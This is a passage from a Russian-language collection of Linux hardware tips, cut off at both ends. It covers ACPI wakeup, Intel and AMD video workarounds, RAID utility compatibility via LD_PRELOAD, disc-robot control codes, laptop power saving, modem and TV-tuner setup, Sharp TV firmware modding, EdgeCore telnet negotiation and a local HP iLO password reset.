       PXSX      S4    *enabled   pci:0000:08:00.0
       PXSX      S4    *enabled   pci:0000:09:00.0
       XHC       S4    *disabled  pci:0000:00:14.0
    
    Все эти устройства - usb-контроллеры. В результате дублирования имён echo PXSX больше не работает.
    
    
    Лечение
    
    Вместо отключения через /proc/acpi/wakeup необходимо отключить возможность пробуждения через /sys
    
      echo disabled > /sys/bus/pci/devices/0000\\:08\\:00.0/power/wakeup
      echo disabled > /sys/bus/pci/devices/0000\\:09\\:00.0/power/wakeup
    
    В результате в /proc/acpi/wakeup  статус изменится
    
       PXSX      S4    *disabled  pci:0000:08:00.0
       PXSX      S4    *disabled  pci:0000:09:00.0
       XHC       S4    *disabled  pci:0000:00:14.0
     
    
     
    ----* Способ обхода краха Firefox и OpenGL приложений из-за ошибки в видеодрайвере Intel (доп. ссылка 1)   [комментарии]
     
    В Ubuntu 14.04 и более новых выпусках при использовании KMS-драйвера i915 на
    системах со старыми видеочипами Intel 965GM,  обычно используемыми в связке с
    CPU Intel Core 2 Duo, периодически начинают падать OpenGL-приложения.
    
    После загрузки некоторое время всё нормально, но после выхода из сна или
    перехода в полноэкранный режим попытка обращения к OpenGL приводит к выводу
    такой ошибки:
    
       $ glxgears 
    
       intel_do_flush_locked failed: Input/output error
    
    
    Неприятность ситуации в том, что в таких условиях непредсказуемым образом
    начинает падать и Firefox, если на сайте используется WebGL или модные
    графические трансформации.
    
    Обходным способом решения проблемы является запуск OpenGL-программ с
    программной реализацией OpenGL (включается установкой переменной окружения
    LIBGL_ALWAYS_SOFTWARE=1), например, вместо прямого вызова в ярлык для запуска
    Firefox можно прописать:
    
       sh -c "LIBGL_ALWAYS_SOFTWARE=1 /usr/local/firefox/firefox"
    
    Проблема решается установкой Mesa из репозитория xorg-edgers:
    
       sudo apt-add-repository ppa:xorg-edgers/ppa
       sudo apt-get update
       sudo apt-get dist-upgrade 
    
     
    ----* Подключение через USB дополнительной кнопки для автоматизации запуска работ на сервере (доп. ссылка 1)   Автор: Roman Y. Bogdanov  [комментарии]
     
    Вводная часть: Дома есть "домашний" сервер. Этакая коробочка Lenovo
    q190 размером чуть более чем DVD box. Ещё есть МФУ samsung SCX-4220. Работает
    это все на ubuntu 14.04 LTS, прекрасно печатает через CUPS, прекрасно
    сканирует, но вот с автоматизацией не очень.
    
    Проблема: Дело в том, что на самсунге нет отдельной кнопки сканировать на
    компьютер, которую бы можно было перехватить и скриптом запустить скан.
    
    Внезапное решение: Недавно покупая очередную новую батарейку к своему ноутбуку
    заметил на витрине магазина вот такую штуку - "USB 7.1 channel sound"
    
    
    
    Такие звуковушки лежат почти в каждом магазине по 200 рублей. О думаю, а что
    если китайцы + кнопки и это клавиатура? Дай-те ко мне одну?
    
    Реализация: Купил, подключил к headless q190 и стал смотреть вывод
    
       $ lsusb
    
       Bus 001 Device 005: ID 0d8c:013c C-Media Electronics, Inc. CM108 Audio Controller
    
    Печально, думаю, но решил посмотреть, что ещё и в dmesg нашлось?
    
       hid-generic 0003:0D8C:013C.0002: input,hidraw0: USB HID v1.00  Device [C-Media Electronics Inc. USB PnP Sound Device] on usb-0000:00:1a.0-1.4/input3
    
    О, то что нужно. Отлично!
    
    Кнопки звуковой карты - это по сути маленькая USB клавиатура. То что мне нужно.
    
    Для обработки нажатий воспользуемся THD (Triggerhappy
    - lightweight hotkey daemon) http://github.com/wertarbyte/triggerhappy
    
    В Ubuntu 14.04 он есть "искаропки".
    
       $ apt-get install thd
    
    Настройка:
    
       $ cat /etc/triggerhappy/triggers.d/brj.conf
       KEY_VOLUMEDOWN 1 /home/brj/bin/scanme.sh
       KEY_VOLUMEUP 1 /home/brj/grab-torrent.sh
    
    По клавише vol down - запускается сканирование
    По клавише vol up - торрент забирает свежие файлы и начинает скачку.
    
    Скрипт запускающий сканирование:
    
       #!/bin/sh
       outscan="scan-`date +"%Y-%m-%d-%H%M%S"`"
       scanimage --progress --mode Color --format=tiff --resolution 300 > /tmp/image.tiff
       convert /tmp/image.tiff /home/brj/Dropbox/${outscan}.jpg
       rm /tmp/image.tiff
    
    Практическая работа: первое время дополнительно повесил звуки из super mario и
    mpg123, что бы знать - работает или нет. Система работает исправно,
    поэтому убрал.
    
    Где ещё использовать? Такая штука ограничена только воображением и количеством
    кнопок. Можно интернет переключать на резервный канал, сканировать, перегружать
    сервера/сервисы, делать архивацию на внешний винт, вообщем на что хватит
    фантазии то и автоматизировать.
    
    Успехов
    
     
    ----* Как задействовать UVD для ускорения декодирования видео в Ubuntu Linux (доп. ссылка 1)   [комментарии]
     
    Для ускорения воспроизведения видео в приложениях поддерживающих API VDPAU с
    использованием аппаратного декодера UVD, присутствующего в GPU AMD, следует
    использовать свежую версию DRM-модуля radeon. Версия с поддержкой UVD войдёт в
    состав ядра Linux 3.10, поэтому для использования UVD до выхода данной ветки
    следует использовать экспериментальное ядро из репозитория drm-next.
    
    
    Устанавливаем заголовочные файлы для VDPAU:
    
       sudo apt-get install libvdpau-dev.
    
    Пересобираем Mesa из Git-репозитория http://cgit.freedesktop.org/mesa/mesa/ При
    выполнении configure следует указать опции "--with-gallium-drivers=r600 --enable-vdpau".
    
    Добавляем в файл /etc/ld.so.conf.d/z.conf строку /usr/local/lib/vdpau и запускаем команду ldconfig.
    
    Ставим пакеты с ядром drm-next (до того как выйдет ядро 3.10), доступные по
    ссылке http://kernel.ubuntu.com/~kernel-ppa/mainline/drm-next/
    
    Устанавливаем прошивку  UVD для используемой карты AMD. Загрузить файл с
    прошивкой можно на данной странице, после чего следует поместить её в
    директорию /lib/firmware.
    
    Перезагружаем систему.
    
    Запускаем любой проигрыватель с поддержкой  VDPAU.
    
     
    ----* Как подружить Linux-ядро 3.x и утилиту LSI MegaCli  (доп. ссылка 1)   Автор: Andrew Okhmat  [комментарии]
     
    С переходом на ядро Linux 3.x.x владельцы LSI RAID могут столкнуться с
    неприятным явлением - утилита MegaCli или MegaCli64 перестаёт обнаруживать
    RAID-контроллер. Ядро правильно определяет и корректно работает, а утилита
    упорно показывает, что никакого RAID-контроллера нет. Не помогает исправить
    проблему и обновление MegaCli до последней версии - 8.02.16.
    
    Если мониторинг состояния RAID построен на этой утилите, то ситуация становится
    совсем неприятной, так как. можно пропустить вышедший из строя жесткий диск или
    пришедшую в негодность батарейку кэша.
    
    Попробуем разобраться в ситуации и найти временное решение, до выхода новой версии MegaCli.
    
    Посмотрим версию ядра, наличие LSI MegaRAID и вывод утилиты MegaCli:
    
       [root@farm2:1 ~]# uname -a
       Linux farm2.localdomain 3.2.5-3.fc16.x86_64 #1 SMP Thu Feb 9 01:24:38 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux
       
       [root@farm2:1 ~]# lspci | grep -i raid
       10:00.0 RAID bus controller: LSI Logic / Symbios Logic MegaRAID SAS 2108 [Liberator] (rev 05)
       
       [root@farm2:1 ~]# /opt/MegaRAID/MegaCli/MegaCli64 -adpCount
       
       Controller Count: 0.
       
       [root@farm2:1 ~]# /opt/MegaRAID/MegaCli/MegaCli64 -v
       
       MegaCLI SAS RAID Management Tool Ver 8.02.16 July 01, 2011
    
       (c)Copyright 2011, LSI Corporation, All Rights Reserved.
    
    Мы видим, что работаем под управлением linux-ядра 3.2.5, есть установленный LSI
    MegaRAID и  утилита MegaCli64 его не видит. До обновления использовалось ядро
    2.6.39, и утилита MegaCli64 обнаруживала контроллер.
    
    Для понимания разницы в поведении MegaCli на ядрах версий 2.6 и 3.х я
    использовал gdb и strace. Оказалось, что если загружено любое ядро с номером
    версии 2.6.x - используется актуальный набор системных вызовов, иначе
    используются устаревшие системные вызовы ядра 2.4.x и, соответственно,
    контроллер не находится. Первая мысль, которая приходит в голову: подменить
    системный вызов uname для утилиты MegaCli.  Воспользуемся помощью LD_PRELOAD
    и несколькими строчками кода на C:
    
       #define _GNU_SOURCE
       #include <unistd.h>
       #include <sys/utsname.h>
       #include <sys/syscall.h>
       #include <sys/types.h>
       #include <string.h>
       
       int uname(struct utsname *buf)
       {
          int ret = syscall(SYS_uname, buf);
          strcpy(buf->release, "2.6.40");
          return ret;
       }
    
    Компилируем:
    
       mkdir fakeuname
       cd fakeuname
       wget http://supportex.net/files/fakeuname/fakeuname.c
       gcc -Wall -fPIC -c fakeuname.c
       gcc -Wall -shared -o libfakeuname.so fakeuname.o
    
    Проверим, как будет работать утилита. При запуске будет сообщаться "фейковый"
    номер версии ядра - 2.6.40, вместо 3.2.5:
    
       [root@farm2:1 ~]# /opt/MegaRAID/MegaCli/MegaCli64 -adpCount
       
       Controller Count: 1.
       
       [root@farm2:1 fakeuname]# LD_PRELOAD=./libfakeuname.so /opt/MegaRAID/MegaCli/MegaCli64 -AdpAllInfo -aALL
       
       Adapter #0
    
       ================================
       Versions
       ================
       Product Name :
       Serial No : SV12345678
       FW Package Build: 12.12.0-0065
       ...
    
    Небольшая победа - контроллер определился!
    Теперь можно с ним работать, как и раньше. А libfakeuname.so скопировать в
    более удобное место (например /usr/local/lib64) и использовать в своих скриптах
    совместно с LD_PRELOAD=/usr/local/lib64/libfakeuname.so.
    
    Ссылки:
        LSI MegaCLI Emergency Cheat Sheet
        LSI Documents and Downloads
        Debugging code with strace
        Debugging with gdb
        Creating and using shared libraries in Linux
        Modifying a Dynamic Library Without Changing the Source Code
    
     
    ----* Работа в Linux с автоматом записи и печати на DVD/CD дисках Primera Bravo XRP   Автор: barmaley  [комментарии]
     
    Аппарат Primera Bravo XRP позволяет автоматизировать запись данных и печать
    маркировки на CD-диски, максимальная емкость 50 + 50 дисков.
    
    Подключается это устройство через USB.
    
    В системе появляются три устройства (через внутренний usn hub), два cdrw и lp:
    
       usb 2-2: new high-speed USB device number 62 using ehci_hcd
       usb 2-2: New USB device found, idVendor=04b4, idProduct=6560
       usb 2-2: New USB device strings: Mfr=0, Product=0, SerialNumber=0
       hub 2-2:1.0: USB hub found
       hub 2-2:1.0: 4 ports detected
       usb 2-2.1: new full-speed USB device number 63 using ehci_hcd
       usb 2-2.1: New USB device found, idVendor=0f25, idProduct=0012
       usb 2-2.1: New USB device strings: Mfr=1, Product=2, SerialNumber=3
       usb 2-2.1: Product: CD/DVD
       usb 2-2.1: Manufacturer: Primera
       usb 2-2.1: SerialNumber: 1000001
       usblp0: USB Bidirectional printer dev 63 if 0 alt 0 proto 2 vid 0x0F25 pid 0x0012
       usb 2-2.3: new high-speed USB device number 64 using ehci_hcd
       usb 2-2.3: New USB device found, idVendor=0dbf, idProduct=0700
       usb 2-2.3: New USB device strings: Mfr=2, Product=3, SerialNumber=1
       usb 2-2.3: Product: USB to SATA Bridge
       usb 2-2.3: Manufacturer: TSI
       usb 2-2.3: SerialNumber: TSI08102925ad
       scsi10 : usb-storage 2-2.3:1.0
       usb 2-2.4: new high-speed USB device number 65 using ehci_hcd
       usb 2-2.4: New USB device found, idVendor=0dbf, idProduct=0700
       usb 2-2.4: New USB device strings: Mfr=2, Product=3, SerialNumber=1
       usb 2-2.4: Product: USB to SATA Bridge
       usb 2-2.4: Manufacturer: TSI
       usb 2-2.4: SerialNumber: TSI081029002d
       scsi11 : usb-storage 2-2.4:1.0
       scsi 10:0:0:0: CD-ROM            PIONEER  DVD-RW  DVR-215D 9.13 PQ: 0 ANSI: 0
       sr0: scsi3-mmc drive: 40x/40x writer cd/rw xa/form2 cdda tray
       sr 10:0:0:0: Attached scsi CD-ROM sr0
       sr 10:0:0:0: Attached scsi generic sg1 type 5
       scsi 11:0:0:0: CD-ROM            PIONEER  DVD-RW  DVR-215D 9.13 PQ: 0 ANSI: 0
       sr1: scsi3-mmc drive: 40x/40x writer cd/rw xa/form2 cdda tray
       sr 11:0:0:0: Attached scsi CD-ROM sr1
       sr 11:0:0:0: Attached scsi generic sg2 type 5
    
    
    На сайте производителя есть драйверы для Linux, но они работают только с
    принтером (печать этикеток для CD).
    Модель встроенного принтера, очень похоже, Lexmark Z80.
    Работа с роботом-автоматом производится путем посылки бинарного пакета в порт
    принтера (/dev/usb/lp0)
    Пакет состоит из 8 байт:
    
       заголовок [0x1B, 0x04], команда [byte], резерв [0x00, 0x00, 0x00, 0x00], сумма 7 байт [byte]
    
    Так же, на сайте производителя, указано что, если вы хотите получить все
    hex-коды, необходимо подписать Non-disclosure Agreement (NDA).
    Но можно и не подписывать, основные необходимые дествия уже расписаны
    пользователем davidef для модели Primera Bravo II.
    
    Состояние устройства можно получить через чтение порта принтера.
    Вы получите две строки (последняя постоянно повторяется циклически с изменениями):
    
       binary data 1, 0x0D
       binary data 2, 0x0D
    
    Я же подведу итог:
    
    Манипуляции с cdrw производятся как обычно через eject и cdrecord ;)
    
    Описание команд робота, на которые я получил хоть какую то реакцию:
    
       05 - сброс устройства, пауза ~30 сек
       80 - взять с левого лотка, положить на верхний CD
       81 - взять с левого лотка, положить на принтер
       82 - взять с левого лотка, положить на правый лоток
       83 - взять с правого лотка, положить на верхний CD
       84 - взять с правого лотка, положить на принтер
       85 - взять с правого лотка, положить на левый лоток
       86 - взять с верхнего CD положить на принтер
       87 - взять с верхнего CD положить направо
       88 - взять с верхнего CD положить налево
       89 - взять с верхнего CD положить вниз (нижний CD либо наружу) !!    не забудьте закрыть верхний CD !!
       8A - взять с принтера положить направо
       8B - взять с принтера положить налево
       8С - взять с принтера положить на нижний CD (либо выбросит наружу)
       8D - ?
       8E - каретка в центр (пауза ~10 сек, возврат)
       8F - каретка в центр (пауза ~10 сек, возврат)
       90 - каретка влево (пауза ~10 сек, возврат)
       91 - каретка в центр (пауза ~10 сек, возврат)
       92 - взять диск (с последней позиции)/положить диск
       93 - открыть принтер
       94 - закрыть принтер
       95 - каретка налево, картриджы направо, индикаторы перемигиваются, ждет какой то команды, если неверная команда происходит reset (пауза ~30 сек)
       96 - каретка налево, картриджы направо, индикаторы постоянны
       97 - возврат из 96 в исходное
       98 - взять с принтера положить на верхний CD (либо выбросит наружу)
       99 - проверяет диски в обеих лотках (слева и справа)
       9A - взять слева ?
       9B - опускает каретку с диском на 1 см, таймаут 10сек, поднимает в  исходное
       9С - каретка направо, картрижды налево, каретка вниз до упора и устройство выключается
       9D - взять слева, положить на нижний CD
       9E - взять справа, положить на нижний CD
       9F - взять с нижнего CD положить на принтер
       A0 - взять с нижнего CD положить направо
       A1 - взять с нижнего CD положить налево
       A2 - взять с нижнего CD, каретка вверх, положить на нижний CD (либо выбросит наружу)
       A3 - каретка в центр (пауза ~10 сек, возврат)
       A4 - взять слева, положить на верхний CD, взять еще один диск слева
       A5 - взять справа, положить на верхний CD, взять еще один диск    слева
       A6 - взять слева, положить на нижний CD, взять еще один диск слева
       A7 - взять справа, положить на нижний CD, взять еще один диск слева
       A8 - взять с принтера положить на нижний CD (либо выбросит наружу), аналогично 8C
       A9 - каретка в центр (пауза ~10 сек, возврат)
    
    Этого вполне достаточно для автоматизации процесса, любым скриптовым языком.
    
    Состояние устройства:
    
       binary data 1:
    
    65 байт - состояние устройства, 0x43 (открыта крышка), 0x42 (робот в процессе
    манипуляций), 0x49 (в готовности, обычное состояние)
    
       binary data 2:
    
    62 байт - количество дисков в правом лотке, после команды 99
    63 байт - количество дисков в левом лотке, после команды 99
    
     
    ----* Советы по увеличению автономной работы ноутбука с Debian/Ubuntu (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    1. Включение ALPM позволит сэкономить 1-2 Вт энергии, но может привести к
    повреждению данных для некоторых устройств.
    
       echo SATA_ALPM_ENABLE=true | sudo tee /etc/pm/config.d/sata_alpm
    
    2. Изменение фона рабочего стола на более светлый цвет для ноутбука с
    LCD-экраном увеличит продолжительность работы примерно на 1%.
    
    3. Включение режима энергосбережения RC6 для видеокарт Intel i915 через
    передачу параметра ядра i915.i915_enable_rc6=1 позволит сэкономить 25-40%
    энергии для устройств на базе архитектуры Sandybridge, но в редких случаях
    может привести к зависанию на определённых ноутбуках.
    
    4. Включение режима сжатия фреймбуфера (Frame Buffer Compression) для драйвера
    i915 через передачу параметра ядру i915.i915_enable_fbc=1 позволит сэкономить
    до 0.6 Вт.
    
    5. Установка задержки гашения обратного хода луча вертикальной развёртки (DRM
    vblank off) через параметр ядра drm.vblankoffdelay=1 сократит число вызывающих
    пробуждение процессора событий (wakeup events) и возможно сэкономит немного энергии.
    
    6. Отключение всех беспроводных подсистем, если они не используются. В
    частности отключение bluetooth  ("blacklist bluetooth" в
    /etc/modprobe.d/blacklist.conf) приведёт к экономии 1-2 Вт.
    
    7. Отключение web-камеры ("blacklist uvcvideo" в
    /etc/modprobe.d/blacklist.conf) поможет сэкономить 1-2 Вт.
    
    8. Использование утилиты PowerTop для перевода следующих устройств в состояние
    экономного потребления энергии:
    
       * Webcam
       * Audio
       * DRAM
       * Ethernet
       * Wifi
       * Bluetooth
       * SATA
       * MMC/SD
    
    9. Использование ядра Linux в котором решена проблема с активацией ASPM
    (Active State Power Management) для карт PCI Express. Ядро тестовой ветки
    Ubuntu 12.04 уже содержит нужный патч. Для других систем рекомендуется в
    качестве обходного пути передать ядру параметр
    "pcie_aspm=powersave", который по умолчанию активирует режим максимальной
    экономии энергии (иначе, будет использован режим максимальной
    производительности). Для некоторых моделей ноутбуков данное действие может
    привести к снижению энергопотребления на 10-30%.
    
    10. Приглушение яркости экрана до 2/3 от максимального значения сэкономит 1 Вт.
    
    11. Отключение мерцающего курсора в gnome-terminal позволит избавиться от
    лишних пробуждений процессора:
    
       gconftool-2 --type string --set /apps/gnome-terminal/profiles/Default/cursor_blink_mode off
    
    12. Выявление проблем с излишне частым пробуждением процессора и излишней
    нагрузкой на CPU для часто используемых приложений при помощи пакета
    powertop или утилит eventstat и cpustat из PPA репозитория colin-king/powermanagement.
    
    Например для выявления наиболее активных событий за 10 секунд:
    
       sudo eventstat 10 1
    
      Evnt/s PID   Task            Init Function             Callback
       96.10 12659 npviewer.bin    hrtimer_start_range_ns    hrtimer_wakeup
       58.10     0 [kern sched]    Load balancing tick       tick_sched_timer
       49.80  2026 alsa-source     hrtimer_start_range_ns    hrtimer_wakeup
       49.30  2024 alsa-sink       hrtimer_start_range_ns    hrtimer_wakeup
       47.20     0 kworker/0:0     hrtimer_start_range_ns    tick_sched_timer
    
    Для мониторинга в течение 60 секунд и вывода процессов, генерирующих более 5 событий в секунду:
    
       sudo eventstat -t 5 60 1
    
      Evnt/s PID   Task            Init Function             Callback
       54.00  2003 compiz          hrtimer_start_range_ns    hrtimer_wakeup
       49.35  2024 alsa-sink       hrtimer_start_range_ns    hrtimer_wakeup
       18.92     0 [kern sched]    Load balancing tick       tick_sched_timer
       17.57     0 kworker/0:0     hrtimer_start_range_ns    tick_sched_timer
       16.13     0 [kern core]     usb_hcd_poll_rh_status    rh_timer_func
        9.98  2386 gwibber-service hrtimer_start_range_ns    hrtimer_wakeup
        9.88 10063 desktopcouch-se hrtimer_start_range_ns    hrtimer_wakeup
        9.87  2382 ubuntuone-syncd hrtimer_start_range_ns    hrtimer_wakeup
        9.83 10109 desktopcouch-se hrtimer_start_range_ns    hrtimer_wakeup
        5.23     0 [kern core]     hrtimer_start             tick_sched_timer
       12046 Total events, 200.77 events/sec
    
     
    ----* Как решить проблему с отсутствием звука при использовании TV-тюнера в Ubuntu (доп. ссылка 1)   [комментарии]
     
    При работе с некоторыми TV-тюнерами, например с  wintv hvr 950Q, в Ubuntu
    наблюдаются проблемы со звуком. Каналы ловятся, но звука нет ни в одном
    приложении. Решить проблему можно, организовав параллельное проигрывание звука
    в фоне с ассоциированной с TV-тюнером звуковой карты.
    
    
    Запускаем tvtime или другое приложение для работы с тюнером:
    
       tvtime
    
    Запускаем проигрывание звука. Если используется система alsa, поможет команда
    
       arecord -D hw:1,0 -f S16_LE -c2 -r32000 | aplay -q -
    
    Либо загружаем в PulseAudio модуль loopback:
    
       pactl load-module module-loopback
    
    В этом случае, возможно, так же нужно будет выбрать конкретный порт источника с
    помощью pactl set-source-port.
    
    В первом случае для прекращения перенаправления достаточно убить программу.
    Во-втором - нужно будет выполнить pactl unload-module с номером загруженного
    модуля (номер получите при загрузке).
    
    Всё это можно запустить одной командой, на основе которой можно создать ярлык для запуска tvtime:
    
       tvtime | arecord -D hw:1,0 -r 32000 -c 2 -f S16_LE | aplay -q -
    
    А вот пример скрипта для запуска с помощью pulseaudio:
    
       tvtime &
       sleep 5
       pactl set-source-port alsa_input.pci-0000_0d_00.0-usb-0_1.analog- stereo analog-input-video
       pactl load-module module-loopback source="alsa_input.pci-0000_0d_00.0-usb-0_1.analog-stereo" source_dont_move=true
    
    В последнем случае мы указываем конкретный источник
    (alsa_input.pci-0000_0d_00.0-usb-0_1.analog-stereo) и указываем, что он не
    должен меняться (source_dont_move=true).
    
    Если в системе имеется несколько звуковых карт, то вместо "hw:1,0" может
    потребоваться указать другое устройство, например, "hw:2,0". Список устройств
    можно посмотреть командой:
    
       arecord -l
    
    Для pulseaudio список можно посмотреть командой
    
       pactl list sources
    
    или
    
       pacmd list-sources
    
     
    ----* Настройка 3G-модема Huawei E173 в Ubuntu/Debian без использования оболочки МегаФона   [комментарии]
     
    Для того, чтобы модем Huawei E173 определился в системе не только как
    Flash-диск, необходимо установить пакет usb-modeswitch, который можно найти в
    стандартном репозитории universe:
    
       sudo apt-get install usb-modeswitch usb-modeswitch-data
    
    После этого модем будет определен как ttyUSB0. 
    
       $ dmesg| tail
    
       [310579.743098] USB Serial support registered for GSM modem (1-port)
       [310579.745647] option 2-3:1.0: GSM modem (1-port) converter detected
       [310579.751377] usb 2-3: GSM modem (1-port) converter now attached to ttyUSB0
    
    
    Если не заработало, выясняем идентификатор устройства:
    
       $ lsusb
    
       Bus 002 Device 050: ID 12d1:140c Huawei Technologies Co., Ltd.
    
    Проверяем наличие файла "12d1:*" в /etc/usb_modeswitch.d, в одном из файлов
    должно быть упоминание продукта "1446". Например:
    
    
       # Huawei E270+  (HSPA+ modem)
       DefaultVendor= 0x12d1
       DefaultProduct=0x1446
    
       TargetVendor=  0x12d1
       TargetProductList="1001,1406,140c,14ac"
    
       CheckSuccess=20
    
       MessageContent="55534243123456780000000000000011060000000000000000000000000000"
    
    Если файла нет, то его можно создать по вышеприведенному примеру, просто добавив строки:
    
       DefaultVendor=  0x12d1
       DefaultProduct= 0x140c
    
    
    В дальнейшем модем будет доступен через /dev/ttyUSB0 и его можно настроить
    вручную через запуск pppd или через конфигураторы Network Manager, kppp или
    wvdial. В качестве APN следует указать - internet, в качестве логина и пароля -
    gdata/gdata, номер - "*99#".
    
    Аналогично настраиваются соединения для работы с модемами других сотовых
    операторов. Для МТС значение APN internet.mts.ru, логин/пароль - mts, для
    Beeline APN - internet.beeline.ru, логин/пароль - beeline.
    
     
    ----* Установка mplayer на телевизор SHARP 42SH7 (доп. ссылка 1)   Автор: Михаил  [комментарии]
     
    Как известно, у LCD-телевизора SHARP 42SH7 есть USB-вход, над которым написано
    SERVICE. Любая попытка подключить туда флэшку с видео не приведет к успеху. И
    это логично, ведь через USB нужно сначала залить медиаплеер! Все дело в том,
    что этот телевизор содержит функцию показа телетекста и имеет четыре банка
    памяти, куда загружаются растеризованные шрифты. Так как иероглифы нам не
    нужны, то мы оставим только английский язык, а в освободившуюся память
    используем под mplayer, мощный и быстрый плеер с поддержкой проигрывания
    множества видео и аудио-форматов.
    
    
    Для начала надо скачать архив с сайта sharp-club.net (ссылка для загрузки
    доступна только зарегистрированным пользователям). Кроме архива нужна-USB
    клавиатура, калькулятор и оригинальный японский телевизор SHARP 42SH7.
    Внимание! Все телевизоры с локализацией, без возможности смены языка на
    оригинальный японский - урезаны по функциональности, вместо четырех банков
    памяти содержится только один. Попытка перезаливки на такой телевизор приведет
    к его поломке и отказу сервисной службы в его ремонте! Использовать
    предложенную прошивку можно только обладателям нормального "японца". В
    приложенном архиве лежат следующие файлы:
    
        service.iso
        firmwaresh7.bin
        sh7hack.bin
        mplayer.bin
        english.tbz
        mplayer.tar.gz
        ddump.exe
    
    Самое главное - это service.iso. Его надо залить на любую флешку, но не в виде
    файла, а побайтово, так как это - образ загрузки. Используйте стандартную
    Unix-утилиту dd или, в случае использования Windows, программу ddump.exe из
    комплекта. Вся информация будет удалена с флешки. После заливки надо будет
    залить на флешку файлы из архива:
    
        firmwaresh7.bin
        sh7hack.bin
        mplayer.bin
        english.tbz
    
    mplayer.tar.gz - это исходный код плеера с нужными патчами, его можно
    переделать под свои нужды, например - добавить русский язык.
    
    У пользователей Linux проблем с копированием файлов не возникнет. Из Windows
    просто так файлы не залить, потому что на флешке используется файловая система
    ext2. Если под рукой нет Linux, придется искать и ставить драйвер.
    
    Переключите в телевизоре язык на английский. Вставьте флешку и включите
    телевизор. Через 30-70 секунд вы увидите иероглифы. Это значит, что ваша
    прошивка сохранилась на флешку, а в телевизор влилась заводская прошивка.
    Выньте флешку, вставьте usb-клавиатуру, выключите телевизор и включите снова.
    
    Вы перешли в режим инженерной работы с телевизором, интерфейс которого
    базируется на пакете Busybox. Теперь главное ничего не перепутать!
    
    Введите следующую команду:
    
       du -hs /var/ram/tvtext
    
    Появившееся на экране число - размер шрифтов с поддержкой юникода, точнее, их
    растеризованный размер. Проверьте, что у вас выдает 8M или 16M. Если это не
    так, значит, у вас маленький размер банков памяти, и ничего не выйдет  -
    выключите свой телевизор, вставьте флешку и включите его. Загрузится
    оригинальная прошивка firmwaresh7.bin и все станет, как и было раньше. Дальше
    можно не читать...
    
    Итак, самый ответственный момент. В случае ошибки - обратного пути не будет.
    Обратите внимание, что сейчас придется работать в редакторе vi. Эффективность
    данного редактора в полной мере могут оценить только имеющие опыт работы в vi.
    Для тех, кто имеет опыта работы в vi, лучше предварительно прочитать
    инструкцию, разобраться в основах редактирования и потренироваться.
    
    Вводите следующую команду:
    
       vi /dev/fram/etc/rc
    
    Перейдите ниже к строке:
    
       cat /mnt/flash/firmwaresh7.bin > /dev/fram2; reboot
    
    И замените ее на:
    
       cat /mnt/flash/sh7hack.bin > /dev/fram2
       cat /mnt/flash/mplayer.bin > /dev/fram3
       tar jxf /mnt/flash/english.tbz -C /dev/fram4
       reboot
    
    Выключайте телевизор, вставьте флешку и включайте. У вас загрузится
    модифицированная прошивка, которая позволяет запускать mplayer, сам mplayer и
    англоязычные шрифты. Флешку после этого можно вынимать, там будет файл типа
    _00001.bin - это архив вашей оригинальной прошивки. Его лучше сохранить на
    всякий случай.
    
    Теперь в меню ТВ появился новый пункт: "mplayer". Он станет активным, когда
    будет вставлена флешка с фильмами. Да, сами фильмы нужно называть только
    английскими буквами, иначе они не появляются в списке меню. Фильмы должны быть
    размещены на флешке, отформатированной с файловой системой ext2. FAT32
    телевизор не поддерживает.
    
    В заключение скажу, что работа плеера меня несколько огорчила. Файлы mkv
    проигрываются очень плохо - звук идет нормальный, а изображение идет рывками, с
    пропуском кадров. Так что нормально можно смотреть только AVI или MP3.
    
     
    ----* Как установить telnet-сессию с коммутатором EdgeCore из скрипта (доп. ссылка 1)   Автор: Андрей Сергиенко  [комментарии]
     
    Есть известная "проблема": из скрипта (php, perl, python и т.п.) средствами
    самого языка установить telnet-соединение с коммутаторами EdgeCore не
    получается. Сразу после соединения свитч присылает бинарный "мусор", потом
    коннект просто висит и отваливается по таймауту. Т.е. даже строки приглашения
    от коммутатора получить не удается. В то же время тот же самый скрипт может
    прекрасно работать по телнету с D-Link'ами.
    
    Происходит это потому что edgecorе'ам надо согласовывать параметры терминала
    при поднятии телнет-сессии. Т.е. сначала (сразу после коннекта на 23-й порт)
    передать свитчу желаемые параметры сессии - и только после этого он передаст
    окно приглашения и с ним можно будет работать.
    
    Пример рабочей последовательности параметров:
    
       0xFF 0xFD 0x03 0xFF 0xFB 0x18 0xFF 0xFB 0x1F 0xFF 0xFB 0x20 0xFF 0xFB 0x21 0xFF 0xFB 0x22 0xFF 0xFB 0x27 0xFF 0xFD 0x05 
    
       0xFF 0xFA 0x18 0x00 0x58 0x54 0x45 0x52 0x4D 0xFF 0xF0 
    
       0xFF 0xFD 0x01 0xFF 0xFC 0x01
    
    Что интересно - в таком виде отлично работается и с edgecore'ами, и с
    d-link'ами. Хотя для d-link'ов такая "инициализация" и необязательна.
    
     
    ----* Сброс забытого пароля HP iLO из консоли Debian GNU/Linux (доп. ссылка 1)   Автор: Андрей  [комментарии]
     
    Возникла необходимость сброса утерянного пароля к iLO, на сервере HP DL360G4.
    Сбросить пароль можно при помощи утилиты  hponcfg, которую можно загрузить из специального
    репозитория на сайте HP. Репозиторий
    доступен для большого числа популярных Linux-дистрибутивов, среди которых и
    Debian GNU/Linux.
    
    Для работы утилиты потребуется установить два пакета:
    hponcfg_3.1.0.0.18-19_i386.deb и hp-health_8.5.0.1.2-1_i386.deb:
    
       wget http://downloads.linux.hp.com/SDR/psp/pool/non-free/hponcfg_3.1.0.0.18-19_i386.deb
       wget http://downloads.linux.hp.com/SDR/psp/pool/non-free/hp-health_8.5.0.1.2-1_i386.deb
    
    Устанавливаем данные пакеты и стандартный пакет binutils:
    
       sudo apt-get install binutils
       sudp dpkg -i hp-health_8.5.0.1.2-1_i386.deb
       sudo dpkg -i sudo dpkg -i hponcfg_3.1.0.0.18-19_i386.deb
    
    Настройка iLO осуществляется через xml-файлы.
    
    Файл ilo_reset_password.xml используется для сброса пароля iLO:
    
       <RIBCL VERSION="2.0">
       <LOGIN USER_LOGIN="Administrator" PASSWORD="some_ilo_password">
       <USER_INFO MODE="write">
       <MOD_USER USER_LOGIN="Administrator">
       <PASSWORD value="new_password"/>
       </mod_USER>
       </user_INFO>
       </LOGIN>
       </RIBCL>
    
    В параметре PASSWORD значение new_password заменяем на необходимый пароль и выполняем команду:
    
       sudo hponcfg -f ~/ilo_reset_password.xml
    
    Файл ilo_network.xml используется для настройки сети iLO:
    
       <RIBCL VERSION="2.0">
       <LOGIN USER_LOGIN="Administrator" PASSWORD="iLOPassword">
       <RIB_INFO MODE="write">
